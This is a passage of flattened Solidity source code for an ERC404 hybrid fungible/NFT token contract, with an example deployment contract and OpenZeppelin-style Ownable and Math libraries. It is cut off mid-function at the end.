does not affect the functioning of the queue, but misses * out on potential gas refunds. */ function clear(Uint256Deque storage deque) internal { deque._begin = 0; deque._end = 0; } /** * @dev Returns the number of items in the queue. */ function length(Uint256Deque storage deque) internal view returns (uint256) { unchecked { return uint256(deque._end - deque._begin); } } /** * @dev Returns true if the queue is empty. */ function empty(Uint256Deque storage deque) internal view returns (bool) { return deque._end == deque._begin; } } library ERC721Events { event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event Approval( address indexed owner, address indexed spender, uint256 indexed id ); event Transfer(address indexed from, address indexed to, uint256 indexed id); } library ERC20Events { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); } abstract contract ERC404 is IERC404 { using DoubleEndedQueue for DoubleEndedQueue.Uint256Deque; /// @dev The queue of ERC-721 tokens stored in the contract. DoubleEndedQueue.Uint256Deque private _storedERC721Ids; /// @dev Token name string public name; /// @dev Token symbol string public symbol; /// @dev Decimals for ERC-20 representation uint8 public immutable decimals; /// @dev Units for ERC-20 representation uint256 public immutable units; /// @dev Total supply in ERC-20 representation uint256 public totalSupply; /// @dev Current mint counter which also represents the highest /// minted id, monotonically increasing to ensure accurate ownership uint256 public minted; /// @dev Initial chain id for EIP-2612 support uint256 internal immutable _INITIAL_CHAIN_ID; /// @dev Initial domain separator for EIP-2612 support bytes32 internal immutable _INITIAL_DOMAIN_SEPARATOR; /// @dev Balance of user in ERC-20 representation mapping(address => uint256) public balanceOf; /// @dev Allowance of user in ERC-20 representation mapping(address => mapping(address => uint256)) public allowance; /// @dev Approval in ERC-721 representaion mapping(uint256 => address) public getApproved; /// @dev Approval for all in ERC-721 representation mapping(address => mapping(address => bool)) public isApprovedForAll; /// @dev Packed representation of ownerOf and owned indices mapping(uint256 => uint256) internal _ownedData; /// @dev Array of owned ids in ERC-721 representation mapping(address => uint256[]) internal _owned; /// @dev Addresses that are exempt from ERC-721 transfer, typically for gas savings (pairs, routers, etc) mapping(address => bool) internal _erc721TransferExempt; /// @dev EIP-2612 nonces mapping(address => uint256) public nonces; /// @dev Address bitmask for packed ownership data uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1; /// @dev Owned index bitmask for packed ownership data uint256 private constant _BITMASK_OWNED_INDEX = ((1 << 96) - 1) << 160; /// @dev Constant for token id encoding uint256 public constant ID_ENCODING_PREFIX = 1 << 255; constructor(string memory name_, string memory symbol_, uint8 decimals_) { name = name_; symbol = symbol_; if (decimals_ < 18) { revert DecimalsTooLow(); } decimals = decimals_; units = 10 ** decimals; // EIP-2612 initialization _INITIAL_CHAIN_ID = block.chainid; _INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator(); } /// @notice Function to find owner of a given ERC-721 token function ownerOf( uint256 id_ ) public view virtual returns (address erc721Owner) { erc721Owner = _getOwnerOf(id_); if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } if (erc721Owner == address(0)) { revert NotFound(); } } function owned( address owner_ ) public view virtual returns (uint256[] memory) { return _owned[owner_]; } function erc721BalanceOf( address owner_ ) public view virtual returns (uint256) { return _owned[owner_].length; } function erc20BalanceOf( address owner_ ) public view virtual returns (uint256) { return balanceOf[owner_]; } function erc20TotalSupply() public view virtual returns (uint256) { return totalSupply; } function erc721TotalSupply() public view virtual returns (uint256) { return minted; } function getERC721QueueLength() public view virtual returns (uint256) { return _storedERC721Ids.length(); } function getERC721TokensInQueue( uint256 start_, uint256 count_ ) public view virtual returns (uint256[] memory) { uint256[] memory tokensInQueue = new uint256[](count_); for (uint256 i = start_; i < start_ + count_; ) { tokensInQueue[i - start_] = _storedERC721Ids.at(i); unchecked { ++i; } } return tokensInQueue; } /// @notice tokenURI must be implemented by child contract function tokenURI(uint256 id_) public view virtual returns (string memory); /// @notice Function for token approvals /// @dev This function assumes the operator is attempting to approve /// an ERC-721 if valueOrId_ is a possibly valid ERC-721 token id. /// Unlike setApprovalForAll, spender_ must be allowed to be 0x0 so /// that approval can be revoked. function approve( address spender_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721Approve(spender_, valueOrId_); } else { return erc20Approve(spender_, valueOrId_); } return true; } function erc721Approve(address spender_, uint256 id_) public virtual { // Intention is to approve as ERC-721 token (id). address erc721Owner = _getOwnerOf(id_); if ( msg.sender != erc721Owner && !isApprovedForAll[erc721Owner][msg.sender] ) { revert Unauthorized(); } getApproved[id_] = spender_; emit ERC721Events.Approval(erc721Owner, spender_, id_); } /// @dev Providing type(uint256).max for approval value results in an /// unlimited approval that is not deducted from on transfers. function erc20Approve( address spender_, uint256 value_ ) public virtual returns (bool) { // Prevent granting 0x0 an ERC-20 allowance. if (spender_ == address(0)) { revert InvalidSpender(); } allowance[msg.sender][spender_] = value_; emit ERC20Events.Approval(msg.sender, spender_, value_); return true; } /// @notice Function for ERC-721 approvals function setApprovalForAll(address operator_, bool approved_) public virtual { // Prevent approvals to 0x0. if (operator_ == address(0)) { revert InvalidOperator(); } isApprovedForAll[msg.sender][operator_] = approved_; emit ERC721Events.ApprovalForAll(msg.sender, operator_, approved_); } /// @notice Function for mixed transfers from an operator that may be different than 'from'. /// @dev This function assumes the operator is attempting to transfer an ERC-721 /// if valueOrId is a possible valid token id. function transferFrom( address from_, address to_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721TransferFrom(from_, to_, valueOrId_); } else { // Intention is to transfer as ERC-20 token (value). return erc20TransferFrom(from_, to_, valueOrId_); } return true; } /// @notice Function for ERC-721 transfers from. /// @dev This function is recommended for ERC721 transfers. function erc721TransferFrom( address from_, address to_, uint256 id_ ) public virtual { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } if (from_ != _getOwnerOf(id_)) { revert Unauthorized(); } // Check that the operator is either the sender or approved for the transfer. if ( msg.sender != from_ && !isApprovedForAll[from_][msg.sender] && msg.sender != getApproved[id_] ) { revert Unauthorized(); } // We only need to check ERC-721 transfer exempt status for the recipient // since the sender being ERC-721 transfer exempt means they have already // had their ERC-721s stripped away during the rebalancing process. if (erc721TransferExempt(to_)) { revert RecipientIsERC721TransferExempt(); } // Transfer 1 * units ERC-20 and 1 ERC-721 token. // ERC-721 transfer exemptions handled above. Can't make it to this point if either is transfer exempt. _transferERC20(from_, to_, units); _transferERC721(from_, to_, id_); } /// @notice Function for ERC-20 transfers from. /// @dev This function is recommended for ERC20 transfers function erc20TransferFrom( address from_, address to_, uint256 value_ ) public virtual returns (bool) { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } uint256 allowed = allowance[from_][msg.sender]; // Check that the operator has sufficient allowance. if (allowed != type(uint256).max) { allowance[from_][msg.sender] = allowed - value_; } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(from_, to_, value_); } /// @notice Function for ERC-20 transfers. /// @dev This function assumes the operator is attempting to transfer as ERC-20 /// given this function is only supported on the ERC-20 interface. /// Treats even large amounts that are valid ERC-721 ids as ERC-20s. function transfer(address to_, uint256 value_) public virtual returns (bool) { // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(msg.sender, to_, value_); } /// @notice Function for ERC-721 transfers with contract support. /// This function only supports moving valid ERC-721 ids, as it does not exist on the ERC-20 /// spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_ ) public virtual { safeTransferFrom(from_, to_, id_, ""); } /// @notice Function for ERC-721 transfers with contract support and callback data. /// This function only supports moving valid ERC-721 ids, as it does not exist on the /// ERC-20 spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_, bytes memory data_ ) public virtual { if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } transferFrom(from_, to_, id_); if ( to_.code.length != 0 && IERC721Receiver(to_).onERC721Received(msg.sender, from_, id_, data_) != IERC721Receiver.onERC721Received.selector ) { revert UnsafeRecipient(); } } /// @notice Function for EIP-2612 permits (ERC-20 only). /// @dev Providing type(uint256).max for permit value results in an /// unlimited approval that is not deducted from on transfers. function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) public virtual { if (deadline_ < block.timestamp) { revert PermitDeadlineExpired(); } // permit cannot be used for ERC-721 token approvals, so ensure // the value does not fall within the valid range of ERC-721 token ids. if (_isValidTokenId(value_)) { revert InvalidApproval(); } if (spender_ == address(0)) { revert InvalidSpender(); } unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner_, spender_, value_, nonces[owner_]++, deadline_ ) ) ) ), v_, r_, s_ ); if (recoveredAddress == address(0) || recoveredAddress != owner_) { revert InvalidSigner(); } allowance[recoveredAddress][spender_] = value_; } emit ERC20Events.Approval(owner_, spender_, value_); } /// @notice Returns domain initial domain separator, or recomputes if chain id is not equal to initial chain id function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == _INITIAL_CHAIN_ID ? _INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator(); } function supportsInterface( bytes4 interfaceId ) public view virtual returns (bool) { return interfaceId == type(IERC404).interfaceId || interfaceId == type(IERC165).interfaceId; } /// @notice Function for self-exemption function setSelfERC721TransferExempt(bool state_) public virtual { _setERC721TransferExempt(msg.sender, state_); } /// @notice Function to check if address is transfer exempt function erc721TransferExempt( address target_ ) public view virtual returns (bool) { return target_ == address(0) || _erc721TransferExempt[target_]; } /// @notice For a token token id to be considered valid, it just needs /// to fall within the range of possible token ids, it does not /// necessarily have to be minted yet. function _isValidTokenId(uint256 id_) internal pure returns (bool) { return id_ > ID_ENCODING_PREFIX && id_ != type(uint256).max; } /// @notice Internal function to compute domain separator for EIP-2612 permits function _computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /// @notice This is the lowest level ERC-20 transfer function, which /// should be used for both normal ERC-20 transfers as well as minting. /// Note that this function allows transfers to and from 0x0. function _transferERC20( address from_, address to_, uint256 value_ ) internal virtual { // Minting is a special case for which we should not check the balance of // the sender, and we should increase the total supply. if (from_ == address(0)) { totalSupply += value_; } else { // Deduct value from sender's balance. balanceOf[from_] -= value_; } // Update the recipient's balance. // Can be unchecked because on mint, adding to totalSupply is checked, and on transfer balance deduction is checked. unchecked { balanceOf[to_] += value_; } emit ERC20Events.Transfer(from_, to_, value_); } /// @notice Consolidated record keeping function for transferring ERC-721s. /// @dev Assign the token to the new owner, and remove from the old owner. /// Note that this function allows transfers to and from 0x0. /// Does not handle ERC-721 exemptions. function _transferERC721( address from_, address to_, uint256 id_ ) internal virtual { // If this is not a mint, handle record keeping for transfer from previous owner. if (from_ != address(0)) { // On transfer of an NFT, any previous approval is reset. delete getApproved[id_]; uint256 updatedId = _owned[from_][_owned[from_].length - 1]; if (updatedId != id_) { uint256 updatedIndex = _getOwnedIndex(id_); // update _owned for sender _owned[from_][updatedIndex] = updatedId; // update index for the moved id _setOwnedIndex(updatedId, updatedIndex); } // pop _owned[from_].pop(); } // Check if this is a burn. if (to_ != address(0)) { // If not a burn, update the owner of the token to the new owner. // Update owner of the token to the new owner. _setOwnerOf(id_, to_); // Push token onto the new owner's stack. _owned[to_].push(id_); // Update index for new owner's stack. _setOwnedIndex(id_, _owned[to_].length - 1); } else { // If this is a burn, reset the owner of the token to 0x0 by deleting the token from _ownedData. delete _ownedData[id_]; } emit ERC721Events.Transfer(from_, to_, id_); } /// @notice Internal function for ERC-20 transfers. Also handles any ERC-721 transfers that may be required. // Handles ERC-721 exemptions. function _transferERC20WithERC721( address from_, address to_, uint256 value_ ) internal virtual returns (bool) { uint256 erc20BalanceOfSenderBefore = erc20BalanceOf(from_); uint256 erc20BalanceOfReceiverBefore = erc20BalanceOf(to_); _transferERC20(from_, to_, value_); // Preload for gas savings on branches bool isFromERC721TransferExempt = erc721TransferExempt(from_); bool isToERC721TransferExempt = erc721TransferExempt(to_); // Skip _withdrawAndStoreERC721 and/or _retrieveOrMintERC721 for ERC-721 transfer exempt addresses // 1) to save gas // 2) because ERC-721 transfer exempt addresses won't always have/need ERC-721s corresponding to their ERC20s. if (isFromERC721TransferExempt && isToERC721TransferExempt) { // Case 1) Both sender and recipient are ERC-721 transfer exempt. No ERC-721s need to be transferred. // NOOP. } else if (isFromERC721TransferExempt) { // Case 2) The sender is ERC-721 transfer exempt, but the recipient is not. Contract should not attempt // to transfer ERC-721s from the sender, but the recipient should receive ERC-721s // from the bank/minted for any whole number increase in their balance. // Only cares about whole number increments. uint256 tokensToRetrieveOrMint = (balanceOf[to_] / units) - (erc20BalanceOfReceiverBefore / units); for (uint256 i = 0; i < tokensToRetrieveOrMint; ) { _retrieveOrMintERC721(to_); unchecked { ++i; } } } else if (isToERC721TransferExempt) { // Case 3) The sender is not ERC-721 transfer exempt, but the recipient is. Contract should attempt // to withdraw and store ERC-721s from the sender, but the recipient should not // receive ERC-721s from the bank/minted. // Only cares about whole number increments. uint256 tokensToWithdrawAndStore = (erc20BalanceOfSenderBefore / units) - (balanceOf[from_] / units); for (uint256 i = 0; i < tokensToWithdrawAndStore; ) { _withdrawAndStoreERC721(from_); unchecked { ++i; } } } else { // Case 4) Neither the sender nor the recipient are ERC-721 transfer exempt. // Strategy: // 1. First deal with the whole tokens. These are easy and will just be transferred. // 2. Look at the fractional part of the value: // a) If it causes the sender to lose a whole token that was represented by an NFT due to a // fractional part being transferred, withdraw and store an additional NFT from the sender. // b) If it causes the receiver to gain a whole new token that should be represented by an NFT // due to receiving a fractional part that completes a whole token, retrieve or mint an NFT to the recevier. // Whole tokens worth of ERC-20s get transferred as ERC-721s without any burning/minting. uint256 nftsToTransfer = value_ / units; for (uint256 i = 0; i < nftsToTransfer; ) { // Pop from sender's ERC-721 stack and transfer them (LIFO) uint256 indexOfLastToken = _owned[from_].length - 1; uint256 tokenId = _owned[from_][indexOfLastToken]; _transferERC721(from_, to_, tokenId); unchecked { ++i; } } // If the transfer changes either the sender or the recipient's holdings from a fractional to a non-fractional // amount (or vice versa), adjust ERC-721s. // First check if the send causes the sender to lose a whole token that was represented by an ERC-721 // due to a fractional part being transferred. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the sender. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 lost due to the fractional portion of the transfer. // If this is a self-send and the before and after balances are equal (not always the case but often), // then no ERC-721s will be lost here. if ( erc20BalanceOfSenderBefore / units - erc20BalanceOf(from_) / units > nftsToTransfer ) { _withdrawAndStoreERC721(from_); } // Then, check if the transfer causes the receiver to gain a whole new token which requires gaining // an additional ERC-721. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the recipient. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 gained due to the fractional portion of the transfer. // Again, for self-sends where the before and after balances are equal, no ERC-721s will be gained here. if ( erc20BalanceOf(to_) / units - erc20BalanceOfReceiverBefore / units > nftsToTransfer ) { _retrieveOrMintERC721(to_); } } return true; } /// @notice Internal function for ERC20 minting /// @dev This function will allow minting of new ERC20s. /// If mintCorrespondingERC721s_ is true, and the recipient is not ERC-721 exempt, it will /// also mint the corresponding ERC721s. /// Handles ERC-721 exemptions. function _mintERC20(address to_, uint256 value_) internal virtual { /// You cannot mint to the zero address (you can't mint and immediately burn in the same transfer). if (to_ == address(0)) { revert InvalidRecipient(); } if (totalSupply + value_ > ID_ENCODING_PREFIX) { revert MintLimitReached(); } _transferERC20WithERC721(address(0), to_, value_); } /// @notice Internal function for ERC-721 minting and retrieval from the bank. /// @dev This function will allow minting of new ERC-721s up to the total fractional supply. It will /// first try to pull from the bank, and if the bank is empty, it will mint a new token. /// Does not handle ERC-721 exemptions. function _retrieveOrMintERC721(address to_) internal virtual { if (to_ == address(0)) { revert InvalidRecipient(); } uint256 id; if (!_storedERC721Ids.empty()) { // If there are any tokens in the bank, use those first. // Pop off the end of the queue (FIFO). id = _storedERC721Ids.popBack(); } else { // Otherwise, mint a new token, should not be able to go over the total fractional supply. ++minted; // Reserve max uint256 for approvals if (minted == type(uint256).max) { revert MintLimitReached(); } id = ID_ENCODING_PREFIX + minted; } address erc721Owner = _getOwnerOf(id); // The token should not already belong to anyone besides 0x0 or this contract. // If it does, something is wrong, as this should never happen. if (erc721Owner != address(0)) { revert AlreadyExists(); } // Transfer the token to the recipient, either transferring from the contract's bank or minting. // Does not handle ERC-721 exemptions. _transferERC721(erc721Owner, to_, id); } /// @notice Internal function for ERC-721 deposits to bank (this contract). /// @dev This function will allow depositing of ERC-721s to the bank, which can be retrieved by future minters. // Does not handle ERC-721 exemptions. function _withdrawAndStoreERC721(address from_) internal virtual { if (from_ == address(0)) { revert InvalidSender(); } // Retrieve the latest token added to the owner's stack (LIFO). uint256 id = _owned[from_][_owned[from_].length - 1]; // Transfer to 0x0. // Does not handle ERC-721 exemptions. _transferERC721(from_, address(0), id); // Record the token in the contract's bank queue. _storedERC721Ids.pushFront(id); } /// @notice Initialization function to set pairs / etc, saving gas by avoiding mint / burn on unnecessary targets function _setERC721TransferExempt( address target_, bool state_ ) internal virtual { if (target_ == address(0)) { revert InvalidExemption(); } // Adjust the ERC721 balances of the target to respect exemption rules. // Despite this logic, it is still recommended practice to exempt prior to the target // having an active balance. if (state_) { _clearERC721Balance(target_); } else { _reinstateERC721Balance(target_); } _erc721TransferExempt[target_] = state_; } /// @notice Function to reinstate balance on exemption removal function _reinstateERC721Balance(address target_) private { uint256 expectedERC721Balance = erc20BalanceOf(target_) / units; uint256 actualERC721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < expectedERC721Balance - actualERC721Balance; ) { // Transfer ERC721 balance in from pool _retrieveOrMintERC721(target_); unchecked { ++i; } } } /// @notice Function to clear balance on exemption inclusion function _clearERC721Balance(address target_) private { uint256 erc721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < erc721Balance; ) { // Transfer out ERC721 balance _withdrawAndStoreERC721(target_); unchecked { ++i; } } } function _getOwnerOf( uint256 id_ ) internal view virtual returns (address ownerOf_) { uint256 data = _ownedData[id_]; assembly { ownerOf_ := and(data, _BITMASK_ADDRESS) } } function _setOwnerOf(uint256 id_, address owner_) internal virtual { uint256 data = _ownedData[id_]; assembly { data := add( and(data, _BITMASK_OWNED_INDEX), and(owner_, _BITMASK_ADDRESS) ) } _ownedData[id_] = data; } function _getOwnedIndex( uint256 id_ ) internal view virtual returns (uint256 ownedIndex_) { uint256 data = _ownedData[id_]; assembly { ownedIndex_ := shr(160, data) } } function _setOwnedIndex(uint256 id_, uint256 index_) internal virtual { uint256 data = _ownedData[id_]; if (index_ > _BITMASK_OWNED_INDEX >> 160) { revert OwnedIndexOverflow(); } assembly { data := add( and(data, _BITMASK_ADDRESS), and(shl(160, index_), _BITMASK_OWNED_INDEX) ) } _ownedData[id_] = data; } } //SPDX-License-Identifier: MIT contract ERC404Example is Ownable, ERC404 { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 maxTotalSupplyERC721_, address initialOwner_, address initialMintRecipient_ ) ERC404(name_, symbol_, decimals_) Ownable(initialOwner_) { // Do not mint the ERC721s to the initial owner, as it's a waste of gas. _setERC721TransferExempt(initialMintRecipient_, true); _mintERC20(initialMintRecipient_, maxTotalSupplyERC721_ * units); } function tokenURI(uint256 id_) public pure override returns (string memory) { return string.concat("https://example.com/token/", Strings.toString(id_)); } function setERC721TransferExempt( address account_, bool value_ ) external onlyOwner { _setERC721TransferExempt(account_, value_); } }
pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library Math { /** * @dev Muldiv operation overflow. */ error MathOverflowedMulDiv(); enum Rounding { Floor, // Toward negative infinity Ceil, // Toward positive infinity Trunc, // Toward zero Expand // Away from zero } /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds towards infinity instead * of rounding towards zero. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { // Guarantee the same behavior as in a regular Solidity division. return a / b; } // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or * denominator == 0. * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by * Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0 = x * y; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. if (denominator <= prod1) { revert MathOverflowedMulDiv(); } /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. // Always >= 1. See https://cs.stackexchange.com/q/138556/92363. uint256 twos = denominator & (0 - denominator); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also // works in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded * towards zero. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 